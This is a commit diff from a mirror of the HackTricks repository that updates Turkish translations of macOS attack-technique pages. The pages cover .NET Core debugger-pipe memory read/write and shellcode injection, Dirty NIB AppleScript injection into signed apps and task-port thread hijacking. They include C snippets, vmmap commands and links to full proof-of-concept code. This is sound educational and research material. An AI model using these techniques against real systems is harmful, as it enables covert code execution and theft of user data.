mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
616ada8516
commit
ae89997e98
82 changed files with 3031 additions and 3796 deletions
|
@ -1,30 +1,31 @@
|
|||
# macOS .Net Uygulamaları Enjeksiyonu
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana dönüştürmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Bu, [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) adresindeki yazının özeti. Daha fazla ayrıntı için kontrol edin!**
|
||||
**Bu, [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) adresindeki gönderinin bir özetidir. Daha fazla ayrıntı için kontrol edin!**
|
||||
|
||||
## .NET Core Hata Ayıklama <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
### **Bir Hata Ayıklama Oturumu Kurma** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
### **Hata Ayıklama Oturumu Kurma** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
.NET'te hata ayıklama aracı ve hata ayıklanan arasındaki iletişim [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) tarafından yönetilir. Bu bileşen, her .NET işlemi için [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) adresinde görüldüğü gibi iki adet isimlendirilmiş pipe kurar. Bu borular **`-in`** ve **`-out`** ile sonlandırılır.
|
||||
.NET'te hata ayıklayıcı ile hata ayıklanan arasındaki iletişimin yönetimi [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) tarafından yapılmaktadır. Bu bileşen, [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) adresinde görüldüğü gibi her .NET işlemi için iki adlandırılmış boru hattı kurar ve bunlar [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) aracılığıyla başlatılır. Bu boru hatları **`-in`** ve **`-out`** ile sonlandırılır.
|
||||
|
||||
Kullanıcının **`$TMPDIR`**'sini ziyaret ederek, .Net uygulamalarını hata ayıklamak için kullanılabilen hata ayıklama FIFO'larını bulabilirsiniz.
|
||||
Kullanıcının **`$TMPDIR`** dizinine giderek, .Net uygulamalarını hata ayıklamak için mevcut olan hata ayıklama FIFO'larını bulabilirsiniz.
|
||||
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259), bir hata ayıklama aracından gelen iletişimi yönetmekten sorumludur. Yeni bir hata ayıklama oturumu başlatmak için, bir hata ayıklama aracı, .NET kaynak kodunda detayları verilen `MessageHeader` yapısını içeren bir mesajı `out` boruya göndermelidir:
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) hata ayıklayıcıdan gelen iletişimi yönetmekten sorumludur. Yeni bir hata ayıklama oturumu başlatmak için, bir hata ayıklayıcı `out` boru hattı aracılığıyla `MessageHeader` yapısıyla başlayan bir mesaj göndermelidir; bu yapı .NET kaynak kodunda ayrıntılı olarak açıklanmıştır:
|
||||
```c
|
||||
struct MessageHeader {
|
||||
MessageType m_eType; // Message type
|
||||
|
@ -43,7 +44,7 @@ DWORD m_dwMinorVersion;
|
|||
BYTE m_sMustBeZero[8];
|
||||
}
|
||||
```
|
||||
Yeni bir oturum isteği yapmak için, bu yapı aşağıdaki gibi doldurulur, mesaj türü `MT_SessionRequest` olarak ve protokol sürümü mevcut sürüm olarak ayarlanır:
|
||||
Yeni bir oturum talep etmek için, bu yapı aşağıdaki gibi doldurulur, mesaj türü `MT_SessionRequest` ve protokol sürümü mevcut sürüm olarak ayarlanır:
|
||||
```c
|
||||
static const DWORD kCurrentMajorVersion = 2;
|
||||
static const DWORD kCurrentMinorVersion = 0;
|
||||
|
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
|||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
Bu başlık daha sonra `write` sistem çağrısı kullanılarak hedefe gönderilir ve ardından oturum için bir GUID içeren `sessionRequestData` yapısı gönderilir:
|
||||
Bu başlık daha sonra `write` syscall'ı kullanılarak hedefe gönderilir, ardından oturum için bir GUID içeren `sessionRequestData` yapısı gelir:
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||
```
|
||||
`out` boru üzerinde yapılan bir okuma işlemi, hata ayıklama oturumunun başarılı olup olmadığını doğrular.
|
||||
`out` borusundaki bir okuma işlemi, hata ayıklama oturumu kurulumunun başarıyla tamamlandığını veya başarısız olduğunu doğrular:
|
||||
```c
|
||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||
```
|
||||
## Bellek Okuma
|
||||
Bir hata ayıklama oturumu oluşturulduğunda, bellek [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) mesaj türünü kullanarak okunabilir. readMemory işlevi, bir okuma isteği göndermek ve yanıtı almak için gerekli adımları ayrıntılı olarak gerçekleştirir:
|
||||
## Belleği Okuma
|
||||
Bir hata ayıklama oturumu kurulduktan sonra, bellek [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) mesaj türü kullanılarak okunabilir. readMemory fonksiyonu, bir okuma isteği göndermek ve yanıtı almak için gerekli adımları gerçekleştiren ayrıntılı bir işlemdir:
|
||||
```c
|
||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||
// Allocation and initialization
|
||||
|
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
|
|||
return true;
|
||||
}
|
||||
```
|
||||
Tam kanıt (POC) [burada](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) bulunmaktadır.
|
||||
Tam kanıt konsepti (POC) [burada](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) mevcuttur.
|
||||
|
||||
## Belleğe Yazma
|
||||
|
||||
Benzer şekilde, belleğe yazma işlemi `writeMemory` fonksiyonu kullanılarak gerçekleştirilir. İşlem, mesaj türünün `MT_WriteMemory` olarak ayarlanması, verinin adresi ve uzunluğunun belirtilmesi ve ardından verinin gönderilmesini içerir:
|
||||
Benzer şekilde, bellek `writeMemory` fonksiyonu kullanılarak yazılabilir. Süreç, mesaj türünü `MT_WriteMemory` olarak ayarlamayı, verinin adresini ve uzunluğunu belirtmeyi ve ardından veriyi göndermeyi içerir:
|
||||
```c
|
||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||
// Increment IDs, set message type, and specify memory location
|
||||
|
@ -93,20 +94,20 @@ bool writeMemory(void *addr, int len, unsigned char *input) {
|
|||
return true;
|
||||
}
|
||||
```
|
||||
İlgili POC [burada](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5) bulunabilir.
|
||||
İlgili POC [burada](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5) mevcuttur.
|
||||
|
||||
## .NET Core Kodu Yürütme <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
## .NET Core Kod Çalıştırma <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
Kod yürütmek için, rwx izinlerine sahip bir bellek bölgesi belirlemek gerekmektedir. Bu, vmmap -pages kullanılarak yapılabilir:
|
||||
Kod çalıştırmak için, rwx izinlerine sahip bir bellek bölgesi tanımlanmalıdır; bu, vmmap -pages: kullanılarak yapılabilir.
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
Bir işlev işaretçisini üzerine yazmak için bir yer bulmak gereklidir ve .NET Core'da bunu yapmanın bir yolu **Dynamic Function Table (DFT)**'ye hedef alarak yapmaktır. Bu tablo, JIT derleme yardımcı işlevleri için çalışma zamanı tarafından kullanılan [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) dosyasında detaylı olarak açıklanmıştır.
|
||||
Bir işlev işaretçisini geçersiz kılmak için bir yer bulmak gereklidir ve .NET Core'da bu, **Dynamic Function Table (DFT)** hedeflenerek yapılabilir. Bu tablo, [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) dosyasında detaylandırılmıştır ve çalışma zamanı tarafından JIT derleme yardımcı işlevleri için kullanılır.
|
||||
|
||||
x64 sistemler için, `libcorclr.dll` içindeki `_hlpDynamicFuncTable` sembolüne bir referans bulmak için imza avı kullanılabilir.
|
||||
x64 sistemler için, `_hlpDynamicFuncTable` sembolüne bir referans bulmak için imza avcılığı kullanılabilir `libcorclr.dll` içinde.
|
||||
|
||||
`MT_GetDCB` hata ayıklama işlevi, `m_helperRemoteStartAddr` adlı bir yardımcı işlevin adresi de dahil olmak üzere yararlı bilgiler sağlar. Bu adres, DFT'nin konumunu ve bir işlev işaretçisini kabuk kodunun adresiyle üzerine yazmak için kullanılır.
|
||||
`MT_GetDCB` hata ayıklayıcı işlevi, `libcorclr.dll`'nin işlem belleğindeki konumunu gösteren bir yardımcı işlevin adresi olan `m_helperRemoteStartAddr` dahil olmak üzere yararlı bilgiler sağlar. Bu adres daha sonra DFT'yi aramak ve bir işlev işaretçisini shellcode'un adresi ile geçersiz kılmak için kullanılır.
|
||||
|
||||
PowerShell'e enjeksiyon için tam POC kodu [buradan](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) erişilebilir.
|
||||
|
||||
|
@ -114,16 +115,17 @@ PowerShell'e enjeksiyon için tam POC kodu [buradan](https://gist.github.com/xpn
|
|||
|
||||
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin.
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# macOS Kirli NIB
|
||||
# macOS Dirty NIB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request** göndererek paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Teknik hakkında daha fazla ayrıntı için orijinal yayına bakın: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** İşte bir özet:
|
||||
**Tekniğin detayları için orijinal gönderiyi kontrol edin: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** İşte bir özet:
|
||||
|
||||
NIB dosyaları, Apple'ın geliştirme ekosisteminin bir parçası olarak uygulamalardaki **UI öğelerini** ve etkileşimlerini tanımlamak için kullanılır. Pencereler ve düğmeler gibi seri nesneleri içerir ve çalışma zamanında yüklenir. Apple, NIB dosyalarının devam eden kullanımına rağmen, daha kapsamlı bir UI akış görselleştirmesi için Artık Storyboard'ları önermektedir.
|
||||
NIB dosyaları, Apple'ın geliştirme ekosisteminin bir parçası olarak, uygulamalardaki **UI öğelerini** ve etkileşimlerini tanımlamak için tasarlanmıştır. Pencereler ve düğmeler gibi serileştirilmiş nesneleri kapsar ve çalışma zamanında yüklenir. Sürekli kullanımlarına rağmen, Apple artık daha kapsamlı UI akış görselleştirmesi için Storyboard'ları önermektedir.
|
||||
|
||||
### NIB Dosyalarıyla İlgili Güvenlik Endişeleri
|
||||
NIB dosyalarının bir güvenlik riski olabileceğini unutmamak önemlidir. Bunlar, **keyfi komutları** yürütebilir ve bir uygulamadaki NIB dosyalarının değiştirilmesi, Gatekeeper'ın uygulamayı yürütmesini engellemez, bu da ciddi bir tehdit oluşturur.
|
||||
### NIB Dosyaları ile İlgili Güvenlik Endişeleri
|
||||
**NIB dosyalarının bir güvenlik riski olabileceğini** belirtmek önemlidir. **Rastgele komutlar çalıştırma** potansiyeline sahiptirler ve bir uygulama içindeki NIB dosyalarındaki değişiklikler, Gatekeeper'ın uygulamayı çalıştırmasını engellemez, bu da önemli bir tehdit oluşturur.
|
||||
|
||||
### Kirli NIB Enjeksiyon Süreci
|
||||
#### Bir NIB Dosyası Oluşturma ve Ayarlama
|
||||
1. **Başlangıç Ayarları**:
|
||||
### Dirty NIB Enjeksiyon Süreci
|
||||
#### NIB Dosyası Oluşturma ve Ayarlama
|
||||
1. **İlk Kurulum**:
|
||||
- XCode kullanarak yeni bir NIB dosyası oluşturun.
|
||||
- Arayüze bir Nesne ekleyin ve sınıfını `NSAppleScript` olarak ayarlayın.
|
||||
- Başlangıç `source` özelliğini Kullanıcı Tanımlı Çalışma Zamanı Öznitelikleri aracılığıyla yapılandırın.
|
||||
- Arayüze bir Nesne ekleyin, sınıfını `NSAppleScript` olarak ayarlayın.
|
||||
- Kullanıcı Tanımlı Çalışma Zamanı Özellikleri aracılığıyla ilk `source` özelliğini yapılandırın.
|
||||
|
||||
2. **Kod Yürütme Aracı**:
|
||||
- Ayarlar, AppleScript'in isteğe bağlı olarak çalıştırılmasını sağlar.
|
||||
- `Apple Script` nesnesini etkinleştirmek için bir düğme entegre edin ve özellikle `executeAndReturnError:` seçicisini tetikleyin.
|
||||
2. **Kod Çalıştırma Aleti**:
|
||||
- Kurulum, AppleScript'in talep üzerine çalıştırılmasını sağlar.
|
||||
- `Apple Script` nesnesini etkinleştirmek için bir düğme ekleyin, özellikle `executeAndReturnError:` seçicisini tetikleyin.
|
||||
|
||||
3. **Test**:
|
||||
3. **Test Etme**:
|
||||
- Test amaçlı basit bir Apple Script:
|
||||
```bash
|
||||
set theDialogText to "PWND"
|
||||
|
@ -41,31 +42,31 @@ display dialog theDialogText
|
|||
- XCode hata ayıklayıcısında çalıştırarak ve düğmeye tıklayarak test edin.
|
||||
|
||||
#### Bir Uygulamayı Hedefleme (Örnek: Pages)
|
||||
1. **Hazelik**:
|
||||
1. **Hazırlık**:
|
||||
- Hedef uygulamayı (örneğin, Pages) ayrı bir dizine (örneğin, `/tmp/`) kopyalayın.
|
||||
- Gatekeeper sorunlarını atlamak ve önbelleğe almak için uygulamayı başlatın.
|
||||
- Gatekeeper sorunlarını aşmak ve önbelleğe almak için uygulamayı başlatın.
|
||||
|
||||
2. **NIB Dosyasını Üzerine Yazma**:
|
||||
- Varolan bir NIB dosyasını (örneğin, About Panel NIB) oluşturulan DirtyNIB dosyasıyla değiştirin.
|
||||
- Mevcut bir NIB dosyasını (örneğin, Hakkında Panel NIB) oluşturulan DirtyNIB dosyasıyla değiştirin.
|
||||
|
||||
3. **Yürütme**:
|
||||
- Uygulamayla etkileşime geçerek (örneğin, `About` menü öğesini seçerek) yürütmeyi tetikleyin.
|
||||
3. **Çalıştırma**:
|
||||
- Uygulama ile etkileşimde bulunarak çalıştırmayı tetikleyin (örneğin, `Hakkında` menü öğesini seçerek).
|
||||
|
||||
#### Kanıt: Kullanıcı Verilerine Erişim
|
||||
- AppleScript'i değiştirerek, kullanıcının izni olmaksızın fotoğraflar gibi kullanıcı verilerine erişebilir ve çıkarabilirsiniz.
|
||||
#### Kavramsal Kanıt: Kullanıcı Verilerine Erişim
|
||||
- Kullanıcı izni olmadan fotoğraflar gibi kullanıcı verilerine erişmek ve çıkarmak için AppleScript'i değiştirin.
|
||||
|
||||
### Örnek Kod: Zararlı .xib Dosyası
|
||||
- Keyfi kod yürütme gösteren [**zararlı bir .xib dosyasının örneğine**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) erişin ve inceleyin.
|
||||
### Kod Örneği: Kötü Amaçlı .xib Dosyası
|
||||
- Rastgele kod çalıştırmayı gösteren bir [**kötü amaçlı .xib dosyası örneği**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) erişin ve inceleyin.
|
||||
|
||||
### Başlatma Kısıtlamalarıyla İlgilenme
|
||||
- Başlatma Kısıtlamaları, beklenmeyen konumlardan (örneğin, `/tmp`) uygulama yürütmesini engeller.
|
||||
- Başlatma Kısıtlamaları tarafından korunmayan uygulamaları belirlemek ve NIB dosyası enjeksiyonu için hedef almak mümkündür.
|
||||
### Başlatma Kısıtlamalarını Ele Alma
|
||||
- Başlatma Kısıtlamaları, uygulama çalıştırmayı beklenmedik yerlerden (örneğin, `/tmp`) engeller.
|
||||
- Başlatma Kısıtlamaları ile korunmayan uygulamaları tanımlamak ve NIB dosyası enjeksiyonu için hedeflemek mümkündür.
|
||||
|
||||
### Ek macOS Korumaları
|
||||
macOS Sonoma'dan itibaren, App paketleri içindeki değişiklikler kısıtlanmıştır. Ancak, önceki yöntemler şunları içerir:
|
||||
1. Uygulamayı farklı bir konuma (örneğin, `/tmp/`) kopyalama.
|
||||
2. Uygulama paketi içindeki dizinleri yeniden adlandırarak başlangıç korumalarını atlatma.
|
||||
3. Uygulamayı Gatekeeper ile kaydetmek için çalıştırdıktan sonra, uygulama paketini (örneğin, MainMenu.nib'i Dirty.nib ile değiştirme) değiştirme.
|
||||
4. Dizinleri yeniden adlandırma ve enjekte edilen NIB dosyasını yürütmek için uygulamayı yeniden çalıştırma.
|
||||
### Ek macOS Koruma Önlemleri
|
||||
macOS Sonoma'dan itibaren, Uygulama paketleri içindeki değişiklikler kısıtlanmıştır. Ancak, önceki yöntemler şunları içeriyordu:
|
||||
1. Uygulamayı farklı bir konuma (örneğin, `/tmp/`) kopyalamak.
|
||||
2. İlk korumaları aşmak için uygulama paketindeki dizinleri yeniden adlandırmak.
|
||||
3. Uygulamayı çalıştırarak Gatekeeper ile kaydolduktan sonra, uygulama paketini değiştirmek (örneğin, MainMenu.nib'i Dirty.nib ile değiştirmek).
|
||||
4. Dizinleri geri yeniden adlandırmak ve enjeksiyon yapılan NIB dosyasını çalıştırmak için uygulamayı yeniden çalıştırmak.
|
||||
|
||||
**Not**: Son macOS güncellemeleri, Gatekeeper önbelleğinde dosya değişikliklerini engelleyerek bu saldırıyı etkisiz hale getirmiştir.
|
||||
**Not**: Son macOS güncellemeleri, Gatekeeper önbelleklemesinden sonra uygulama paketleri içinde dosya değişikliklerini engelleyerek bu istismarı etkisiz hale getirmiştir.
|
||||
|
|
|
@ -1,68 +1,69 @@
|
|||
# macOS Görev Portu Aracılığıyla İş Parçacığı Enjeksiyonu
|
||||
# macOS Thread Injection via Task port
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kod
|
||||
## Code
|
||||
|
||||
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
||||
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
||||
|
||||
|
||||
## 1. İş Parçacığı Kaçırma
|
||||
## 1. Thread Hijacking
|
||||
|
||||
İlk olarak, uzak görevden bir iş parçacığı listesi elde etmek için **`task_threads()`** işlevi çağrılır. Bir iş parçacığı kaçırma için bir iş parçacığı seçilir. Bu yaklaşım, `thread_create_running()`'i engelleyen yeni önlem nedeniyle yeni bir uzak iş parçacığı oluşturmanın yasak olduğu geleneksel kod enjeksiyon yöntemlerinden farklılık gösterir.
|
||||
